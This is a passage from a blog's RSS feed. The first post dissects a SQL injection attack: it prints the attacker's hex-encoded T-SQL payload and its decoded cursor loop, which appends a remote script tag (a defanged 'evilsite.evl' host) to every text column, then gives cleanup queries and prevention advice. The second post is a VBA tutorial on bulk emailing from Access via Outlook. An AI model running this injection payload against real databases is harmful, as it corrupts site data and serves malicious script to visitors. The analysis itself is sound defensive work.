<p>Fascinating. It's pretty obvious that they're trying to inject some SQL as part of the URL. It's the standard trick...</p>
<p>So, I copied the querystring into my favorite text editor (that'd be TextPad) and broke out the querystring to this:</p>
<p><strong><span style="text-decoration: underline;">DO NOT RUN THIS CODE! IT'S DANGEROUS!</span></strong></p>
<pre style="height: 12em;" class="code prettyprint">DECLARE @S VARCHAR(4000)
SET @S=CAST(0x445434C4154054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6164777374652E6D6F62692F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000))
EXEC(@S)
</pre>
<p>(OK, I changed the code a little to make it a bit more benign and so that it would fail if you pasted it into QA and ran it.)</p>
<p>I pasted that into Query Analyzer and pointed QA against a dummy database, so if I screwed up, I wasn't going to hurt anything...</p>
<p>I then changed the EXEC statement to a PRINT statement, so I could see what that big CAST statement was doing, and lo and behold a little bit of T-SQL code popped out.</p>
<p>In a nutshell, the code queries sysobjects for all the user tables in the database (xtype = 'u') and throws the table info into a cursor, and then it loops thru the cursor, checking on fields that it can append it's evilness onto -- namely, text, ntext, varchar and sysname columns.</p>
<p>(Running <em>select xtype, name from systypes;</em> which basically contains a list of available sql datatypes, and I compared them against the b.xtype values in the demon code.)</p>
<p>Here's the code as disassembled:</p>
<pre style="height: 26em;" class="code prettyprint">DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>Again, I defanged the routine by changing it to PRINT, so I can see what it spits out...</p>
<p>It spits out a whole pile of UPDATE statements, affecting every field of every table it found of the applicable types. (In practice, it wouldn't print the UPDATE statements, it would actually, you know, execute them...)</p>
<pre style="height: 6em;" class="code prettyprint">UPDATE [InProcessOrders] SET [StatusMessage]=RTRIM(CONVERT(VARCHAR(4000),[StatusMessage]))+'&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'UPDATE [Handhelds] SET [RecKey]=RTRIM(CONVERT(VARCHAR(4000),[RecKey]))+'&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'

UPDATE [Handhelds] SET [RecName]=RTRIM(CONVERT(VARCHAR(4000),[RecName]))+'&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'</pre>
<p>... and so forth.</p>
<p>But we can see that it appends its malicious SCRIPT tag at the end of every field in the hopes that it will someday be displayed unfettered on a webpage, where its payload can be hidden in an IFRAME.</p>
<h3>Cleaning Up The Mess</h3>
<p>So now you have a database that's infected with the evil code at the end of every data field. To get rid of it, you need to re-run the code, but with a replace statement instead of an appending of the field.</p>
<p><strong>NOTE: If you have more than 4000 characters in a data field, go for your backup, because the malicious script only grabs the first 4000 characters and then appends itself; so this solution will leave you with truncated fields. If your fields are not over 4000 characters, you should be OK.</strong></p>
<p>So if we take the disassembled code and just edit it just a little bit... change the UPDATE statement so that is REPLACES the ill-gotten script block with nothing, it's like the script block was never there.  (Except in the aforementioned cases where the original data was over 4000 characters...)</p>
<pre style="height: 40em;" class="code prettyprint">DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'],''&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'', '''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=cast(replace(cast(['+@C+'] as nvarchar(4000)),''&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'','''') as ntext)')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>And there you have it.  If you edit the code so that the bad URL you're trying to erase is in it (as opposed to my bogus evilsite.evl URL) It will generate all the SQL statements you need and then you can run them against your database.</p>
<p>(Of course, you can change the PRINT statement for some other statement that might do the trick...)</p>
<h3>An Ounce of Prevention</h3>
<p>Of course, the best way to protect yourself is to not allow the SQL Injection attack to occur in the first place.  These attacks failed against our client's site because we tested to make sure the variables we were accepting via the URL were numbers.  Since there were alphabetic characters in there, the page threw an ugly error and failed to render.  (In these cases throwing an ugly error is fine, since I don't think anyone is really is looking at your pages.)</p>
<p><a href="http://msdn.microsoft.com/en-us/library/ms998271.aspx" target="_blank">Microsoft Developer Network (MSDN) has these suggestions</a>:</p>
<ul>
<li><strong>Constrain and sanitize input data. </strong>Check for known good data by validating for type, length, format, and range.</li>
<li><strong>Use type-safe SQL parameters for data access.</strong> You can use these parameters with stored procedures or dynamically constructed SQL command strings. Parameter collections such as <strong>SqlParameterCollection</strong> provide type checking and length validation. If you use a parameters collection, input is treated as a literal value, and SQL Server does not treat it as executable code. An additional benefit of using a parameters collection is that you can enforce type and length checks. Values outside of the range trigger an exception. This is a good example of defense in depth.</li>
<li><strong>Use an account that has restricted permissions in the database.</strong> Ideally, you should only grant execute permissions to selected stored procedures in the database and provide no direct table access.</li>
<li><strong>Avoid disclosing database error information. </strong>In the event of database errors, make sure you do not disclose detailed error messages to the user.</li>
</ul>
<p><a href="http://en.wikipedia.org/wiki/Sql_injection" target="_blank">Wikipedia</a> has a good breakdown of what SQL Injection is.</p>
<p>Lastly, <a href="http://msmvps.com/blogs/harrywaldron/default.aspx" target="_blank">Microsoft MVP Harry Waldron</a> put together <a href="http://msmvps.com/blogs/harrywaldron/archive/2008/05/31/microsoft-best-practices-for-preventing-sql-injection-attacks.aspx" target="_blank">a good collection of best practices</a> to foil SQL Injection attacks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2008/07/27/how-to-clean-up-after-a-sql-injection-attack/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>How to Send E-Mail From MS Access using Outlook</title>
		<link>http://www.jephens.com/2007/05/13/how-to-send-e-mail-from-ms-access-using-outlook/</link>
		<comments>http://www.jephens.com/2007/05/13/how-to-send-e-mail-from-ms-access-using-outlook/#comments</comments>
		<pubDate>Sun, 13 May 2007 21:13:12 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Productivity]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[access]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[office]]></category>
		<category><![CDATA[outlook]]></category>
		<category><![CDATA[sending mail]]></category>

		<guid isPermaLink="false">http://10.20.30.112/?p=19</guid>
		<description><![CDATA[Click here for the changelog. (I moved it to the bottom of the page.) Microsoft Office is designed to work together in an effort to help users get their work done more efficiently. To this end, Microsoft has given all the pieces of the Office suite the ability to control or be controlled by other [...]]]></description>
			<content:encoded><![CDATA[<p class="tiny"><a href="#changelog">Click here for the changelog.  (I moved it to the bottom of the page.)</a></p>
<p>Microsoft Office is designed to work together in an effort to help users get their work done more efficiently.  To this end, Microsoft has given all the pieces of the Office suite the ability to control or be controlled by other of its Office siblings through the use of Visual Basic for Applications. (VBA)  VBA is result of the merging of Visual Basic and the macro languages originally designed for the individual applications that now make up office.  Finally, with Office97, all applications share a common macro language... and with that, we can use Access to store our e-mail addresses and use Outlook to send them... and we don't have to do anything in the middle beyond writing a query, a simple routine and a macro to make it all happen.</p>
<p class="tiny"><strong>NOTE: The Outlook Security Patch (it comes with Office 2000 SR-2, OfficeXP or as a seperate "security" download) makes this exercise just this side of useless.  Since virus writers use these same techniques to send e-mail without you knowing, Microsoft instead pops up a dialog box for 3-5 seconds PER ADDRESS so the virus writer can't take advantage of you.  Of course, YOU can't take advantage of this power any longer, since MS thinks you're unable to protect yourself.  *sigh* Perhaps one of these days I will write an article explaining how to do this using a freeware mail component...</strong></p>
<p class="tiny"><strong>You can get around the security model if you're willing to spend a little money.  Check out the <a href="http://www.dimastr.com/redemption/">Redemption object model</a>. It's more or less a rewrite of the Outlook model, but bypasses the security triggers.  However, it's $200 if you want to use it anywhere, and it does require installing a DLL on the client machine... if your IT policy doesn't allow for that, you're out of luck.</strong></p>
<p class="tiny">This code doesn't work with Redemption -- the theory does, but the actual code doesn't.  Maybe someday I'll make a "Redemption" page, but I just don't have the time right now.  (If anyone wants to convert it, lemme know, and I'll post your article.)</p>
<p class="tiny">Here's a page with some links about the security model: <a href="http://www.granite.ab.ca/access/email/outlook.htm">http://www.granite.ab.ca/access/email/outlook.htm</a></p>
<p>You can download the sample database in either <a href="/email.mdb">Access97 (128k)</a>, <a href="/email2k.mdb">Access2000 (132k)</a> or <a href="/email02.mdb">Access2002 (164k)</a> format.  You can then just import the query and module into your own database and skip the cutting and pasting.  I'm going to assume you have a basic understanding how Access works, and can make a query.</p>
<h2>The Query</h2>
<p>You have a table that has a list of email addresses.  (If you didn't, you'd be reading something else, I'm sure!)  You want to send all the people in the list an e-mail... so we need to use a query to get the e-mail addresses we want.  Open a new query and add the table that has the email addresses you want.  Select the field with the email addresses and call it "EMail".  If the field that holds your email addresses is called anything other than "EMail" you can force it to be referred to as "Email" by putting "EMail:" in fromt of the field name in the query grid.  You can also add any other fields you want for purposes of filtering and whatnot.  We're only concerned with the field known as "email"  Once you get the query the way you like it, save it as "MyEmailAddresses"</p>
<h2>The Body</h2>
<p>To keep things as generic as possible, I grab the body of the e-mail from a text file.  That way, you can just change the text file and not have to touch any of this code again.  There are other ways to do this (like storing the body in the database, for instance) but using an external file allows us to look at how to grab text from a file; another handy skill to have.  So, when you run the macro, it will ask you for the full path of the text file you just created with the body text in it.</p>
<h2>The Macro</h2>
<p>Macros provide easy ways to trigger code or run actions.  In our case, we'll use it to trigger some code we're going to write.  The nice thing is, we can make the macro first... tho the macro won't work until we write the code.  So, let's make a macro.</p>
<ol>
<li>Click on the macro tab and create a new macro.</li>
<li>In the action column, choose "RunCode"</li>
<li>In the spot down below where it asks for the function name, type =SendEMail()</li>
<li>Save the macro.</li>
</ol>
<h2>The Module</h2>
<p>Now, we need to add some code to our database to let it talk to Outlook and send our mail.  We do this by clicking on the module tab and adding a new module.  After you cut and paste the code in, save the module.  The name is irrelevant, but I try and group related things together in a module, so I recommend calling it "SendMail" or something similar.  The other thing you need to do is set some references to the Outlook object model and the Scripting runtime.  The Outlook Object Model is what allows Access to talk Outlook easily, and the scripting runtime allows you manipulate and read files.  To set the references you need to check off a few boxes... here's how.</p>
<ol>
<li>In the module, click on <strong>Tools</strong> then <strong>References</strong></li>
<li>Scroll down the list and place a checkmark next to <strong>Outlook x.0 Object Model</strong> (for Outlook 98 it is version 8.0, Outlook 2000 is version 9.0, Outlook 2002/XP is version 10.0)</li>
<li>If it wasn't already checked near the top, scroll down a little bit more and check <strong>Microsoft DAO 3.x Object Library</strong></li>
<li>Scroll down a little bit more and check <strong>Microsoft Scripting Runtime</strong></li>
<li>Click OK to close that window.</li>
</ol>
<p>Failure to do the above will result in "User Defined Type not defined" errors.  (There's a chance that on newer systems DAO may not be installed.  If that's the case, then you're out of luck until I can update this article with the newer ADO code.  Tho the concepts are still the same, this code worn't work. Sorry.)  You can get the DAO libraries as part of the Jet 4.0 Engine.  <a href="http://support.microsoft.com/kb/239114">Grab the latest service pack from Microsoft.</a></p>
<h2>The Explanation</h2>
<p>The code is pretty well commented, but this is what it does in English.  The code opens Outlook and opens your query.  It asks you for the subject line to use and the text file to use for the body of the message.  The code then creates a message, addresses it and sends it to each person in your list that made it through gauntlet known as "MyEMailAddresses."  Many people keep Outlook running all the time, so this routine will not shut it down when it's done running unless you uncomment the line (remove the ') that says MyOutlook.Quit.  Now, let's get this code into the module and call it a day.</p>
<h2>The Code</h2>
<p>Copy and paste the following code into the Access code module:</p>
<pre class="code prettyprint lang-vb" style="height: 60em;">Public Function SendEMail()

Dim db As DAO.Database
Dim MailList As DAO.Recordset
Dim MyOutlook As Outlook.Application
Dim MyMail As Outlook.MailItem
Dim Subjectline As String
Dim BodyFile As String
Dim fso As FileSystemObject
Dim MyBody As TextStream
Dim MyBodyText As String

Set fso = New FileSystemObject

' First, we need to know the subject.

' We canï¿½ï¿½t very well be sending around blank messages...

Subjectline$ = InputBox$("Please enter the subject line for this mailing.", _
"We Need A Subject Line!")

' If thereï¿½ï¿½s no subject, call it a day.

If Subjectline$ = "" Then
MsgBox "No subject line, no message." &amp; vbNewLine &amp; vbNewLine &amp; _
"Quitting...", vbCritical, "E-Mail Merger"
Exit Function
End If

' Now we need to put something in our letter...

BodyFile$ = InputBox$("Please enter the filename of the body of the message.", _
"We Need A Body!")

' If thereï¿½ï¿½s nothing to say, call it a day.

If BodyFile$ = "" Then
MsgBox "No body, no message." &amp; vbNewLine &amp; vbNewLine &amp; _
"Quitting...", vbCritical, "I Ainï¿½ï¿½t Got No-Body!"
Exit Function
End If

' Check to make sure the file exists...
If fso.FileExists(BodyFile$) = False Then
MsgBox "The body file isnï¿½ï¿½t where you say it is. " &amp; vbNewLine &amp; vbNewLine &amp; _
"Quitting...", vbCritical, "I Ainï¿½ï¿½t Got No-Body!"
Exit Function
End If

' Since we got a file, we can open it up.
Set MyBody = fso.OpenTextFile(BodyFile, ForReading, False, TristateUseDefault)

' and read it into a variable.
MyBodyText = MyBody.ReadAll

' and close the file.
MyBody.Close

' Now, we open Outlook for our own device..
Set MyOutlook = New Outlook.Application

' Set up the database and query connections

Set db = CurrentDb()

Set MailList = db.OpenRecordset("MyEmailAddresses")

' now, this is the meat and potatoes.
' this is where we loop through our list of addresses,
' adding them to e-mails and sending them.

Do Until MailList.EOF

' This creates the e-mail

Set MyMail = MyOutlook.CreateItem(olMailItem)

' This addresses it

MyMail.To = MailList("email")

'This gives it a subject
MyMail.Subject = Subjectline$

'This gives it the body
MyMail.Body = MyBodyText

'If you want to send an attachment
'uncomment the following line

'MyMail.Attachments.Add "c:myfile.txt", olByValue, 1, "My Displayname"

' To briefly describe:
' "c:myfile.txt" = the file you want to attach
'
' olByVaue = how to pass the file. olByValue attaches it, olByReference creates a shortcut.
' the shortcut only works if the file is available locally (via mapped or local drive)
'
' 1 = the position in the outlook message where to attachment goes. This is ignored by most
' other mailers, so you might want to ignore it too. Using 1 puts the attachment
' first in line.
'
' "My Displayname" = If you donï¿½ï¿½t want the attachmentï¿½ï¿½s icon string to be "c:myfile.txt" you
' can use this property to change it to something useful, i.e. "4th Qtr Report"

'This sends it!

MyMail.Send

'Some people have asked how to see the e-mail
'instead of automaticially sending it.
'Uncomment the next line
'And comment the "MyMail.Send" line above this.

'MyMail.Display

'And on to the next one...
MailList.MoveNext

Loop

'Cleanup after ourselves

Set MyMail = Nothing

'Uncomment the next line if you want Outlook to shut down when its done.
'Otherwise, it will stay running.

'MyOutlook.Quit
Set MyOutlook = Nothing

MailList.Close
Set MailList = Nothing
db.Close
Set db = Nothing

End Function</pre>
<h2>Further Options</h2>
<p>The sky is really the limit as to what you can do.</p>
<p>I've been asked about "personalizing" the text with data from the database a few times, so after I wrote my variation on the reply, I thought I'd add it to the page.  It's not particularly hard, but it requires some planning and special markups in the text file you're using as the body.</p>
<p>If you need something as simple as a greeting line, all you have to do is change one line:</p>
<p>The big difference would be to change the MyMail.Body from your text file to something else that would have the "Hi Joe!" in it.</p>
<pre class="code prettyprint lang-vb" style="height: 2em;">MyMail.Body = MyBodyText</pre>
<p>becomes</p>
<pre class="code prettyprint lang-vb" style="height: 5em;">MyMail.Body = "Hi " &amp; MailList("FirstName") &amp; "!" &amp; vbNewLine &amp; vbNewLine &amp; MyBodyText</pre>
<p>vbNewLine puts a hard return at the end of the line, so two of them give you in essence, a paragraph break before the text from your template.</p>
<p>To get a little more complicated, you can "tokenize" the text you want to replace.</p>
<p>Since the text of your e-mail is just a string, you can manipulate that string however you want.  You could make what we call "tokens" in the template, and then use string manipulation functions to replace the tokens with fields from your database.</p>
<p>For instance, say you want the text of your e-mail to read:  "Joe: Yesterday, you sold 20 widgets. You did good!"</p>
<p>You can't just have a text file that says that, otherwise everyone in your database would know that Joe sold 20 widgets (Good for Joe!), and they'd have no idea about their own performance, so we need to create tokens.</p>
<p>So, we need to place specific words or phrases with generic ones:</p>
<pre class="code prettyprint lang-vb" style="height: 5em;">[[Firstname]]: Yesterday, you sold [[NumberOfUnits]] widgets. [[GoodOrBad]]</pre>
<p>Then, in the loop that goes thru the names, we'd need to replace the tokens with the values from the database... However, once we replaced it the first time, we'd lose our token (it was replaced the first go-round) so we need to create a new varibale to hold our custom-per-message body:</p>
<pre class="code prettyprint lang-vb" style="height: 15em;">' This line will copy the "master" template into
' a variable we can mess around with

MyNewBodyText = MyBodyText

' Now we can replace tokens to our heart's content
' without worrying about corrupting the "master" template

MyNewBodyText = Replace(MyNewBodyText, "[[FirstName]]", MailList("FirstName"))

MyNewBodyText = Replace(MyNewBodyText, "[[NumberOfUnits]]", MailList("NumberofUnits"))</pre>
<p>that would then replace the tokens [[Firstname]] and [[NumberOfUnits]] with their values from the database.</p>
<p>A token can be any sequence of characters that won't be repeated by accident.  So, you could use the word "you" as a token, but every time it was encountered in the document, whether or not it was meant to, it would be replaced by the new value.</p>
<p>(i.e the above desired sentence would become "Yesterday 20 sold [[NumberOfUnits]] widgets. 20 did good!" -- not the result you were hoping for...)</p>
<p>So, we create tokens that are unique -- I use two open brackets, a descriptive string, and two closing brackets -- that sequence of characters won't occur anywhere else by accident, so I can be confident that I won't accidentally create a sentence like the above.</p>
<p>You can also add all sorts of logic to things.</p>
<p>For instance, instead of everyone getting the "You did good!" you might use the token [[GoodOrBad]] and then use a logic statement like:</p>
<pre class="code prettyprint lang-vb" style="height: 10em;">If MailList("NumberOfUnits") &gt; 20 then
MyBodyText = Replace(MyNewBodyText, "[[GoodOrBad]]", "You did good!")
else
MyBodyText = Replace(MyNewBodyText, "[[GoodOrBad]]", "You stink!")
End If</pre>
<p>... which would text of the person made a quota, and offer a value statement based on his performance.</p>
<p>(Of course, remember to then change your variable name when you assign the body to it --</p>
<pre class="code prettyprint lang-vb" style="height: 5em;">MyMail.Body = MyNewBodyText</pre>
<h2>Conclusion</h2>
<p>There's so much you can do with this simple routine... I enjoy hearing from you (and getting your test messages!) and am glad we can help you out this way.</p>
<h2>Here's something else...</h2>
<p>Someone asked me about tracking the e-mails sent in a table in the database.  Since its on my mind, here's what I wrote:</p>
<p>You would open the table, and after each e-mail, append a record:</p>
<pre class="code prettyprint lang-vb" style="height: 12em;">[Near the top of the code]

Dim MyTrackingTable as Recordset
Set MyTrackingTable = Currentdb.OpenRecordset("TrackingTableName")</pre>
<p>[later on in the code, after MyMail.Send]</p>
<pre class="code prettyprint lang-vb" style="height: 12em;">MyTrackingTable.AddNew
MyTrackingTable("emailaddress") = MyMail.To
MyTrackingTable("emailsubject") = MyMail.Subject
MyTrackingTable("DateSent") = now()
MyTrackingTable.Update</pre>
<p>[back to code]</p>
<pre class="code prettyprint lang-vb" style="height: 12em;">    'And on to the next one...
    MailList.MoveNext

Loop

[etc.]</pre>
<p>So, obviously, you'll need a table with three fields in it, emailaddress, emailsubject and datesent.  You can then tweak this table setup as you see fit.</p>
<h2>More Recipients!</h2>
<p>By moving your loop, you can add many recipients to one e-mail.  However, in doing so, you can no longer use the simple .TO modifier, you need to use the RECIPIENTS collection, and add each e-mail address as their own RECIPIENT.</p>
<p>Happily, it's pretty simple stuff.</p>
<p>So we take the code from above, and we change it a little:</p>
<pre class="code prettyprint lang-vb" style="height: 30em;">' now, this is the meat and potatoes.
 ' this is where we loop through our list of addresses,
 ' adding them to e-mails and sending them.

    Do Until MailList.EOF

           ' This creates the e-mail

        Set MyMail = MyOutlook.CreateItem(olMailItem)

            ' This addresses it
            MyMail.To = MailList("email")

[...]

    'And on to the next one...
    MailList.MoveNext

Loop</pre>
<p>So, we morph this into:</p>
<pre class="code prettyprint lang-vb" style="height: 32em;">
        ' This creates the e-mail
        ' We need to move it BEFORE we start the loop, since
        ' we don't want to make a bunch of e-mails, we just want one.

        Set MyMail = MyOutlook.CreateItem(olMailItem)

         ' now, this is the meat and potatoes.
         ' this is where we loop through our list of addresses,
         ' and we add them to the RECIPIENTS collection

    Do Until MailList.EOF

            ' This adds the address to the list of recipients
            MyMail.Recipients.Add MailList("email")

            'And on to the next one...

    MailList.MoveNext

Loop

			' And now that we've addressed it, we can finish composing the rest of the fields.

            'This gives it a subject

            MyMail.Subject = Subjectline$

               'This gives it the body
            MyMail.Body = MyBodyText

[...]</pre>
<p><a name="changelog"></a></p>
<h2>Changelog</h2>
<p class="tiny">03-28-06: I dropped a link where you can get the DAO libraries</p>
<p class="tiny">02-16-06: Typos stink.  I made a typo in the "many people, one e-mail" message, an equals sign where there shouldn't have been one.  Apologies.  It works now as advertised.</p>
<p class="tiny">02-10-06: I am still amazed at how much traffic this page gets.  Thanks!  I've added a little bit on how to add multiple people to the e-mail, instead of multiples e-mails to one person each...</p>
<p class="tiny">10-24-05: Apparently, I mucked up the personilzation code to the tune of using examples and not the object names we established in the code above it, you can't just cut and paste it.  I've since corrected it, and you should be able to cut-and-paste it now.</p>
<p class="tiny">12-25-03: Merry Christmas!  It seems the attachment code is broken in later versions of Outlook. If you change the position argument to 1 instead of -1, ot seems to work.  I also made an Access 2002 version of the database... dunno why, really... Keep those cards and letters coming... but remember, I can't rewrite this for you or offer too much help... this is meant to help you learn, not just drop it into a project (tho you could!)</p>
<p class="tiny">05-28-02: I'm still flattered at how much e-mail I get from and about this document. I added a bit to explain how to add attachments.</p>
<p class="tiny">11-13-01: I'm flattered at how much e-mail I get from and about this document. I edited the document a little for OfficeXP and added a caveat about newer systems without DAO (Data Access Objects).  Also, added a comment in the code about displaying instead of automaticially sending the e-mail messages.</p>
<p class="tiny">11-28-00: Edited document slightly to re-insert paragraphs about using a text file for the body of the message.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2007/05/13/how-to-send-e-mail-from-ms-access-using-outlook/feed/</wfw:commentRss>
		<slash:comments>182</slash:comments>
		</item>
	</channel>
</rss>

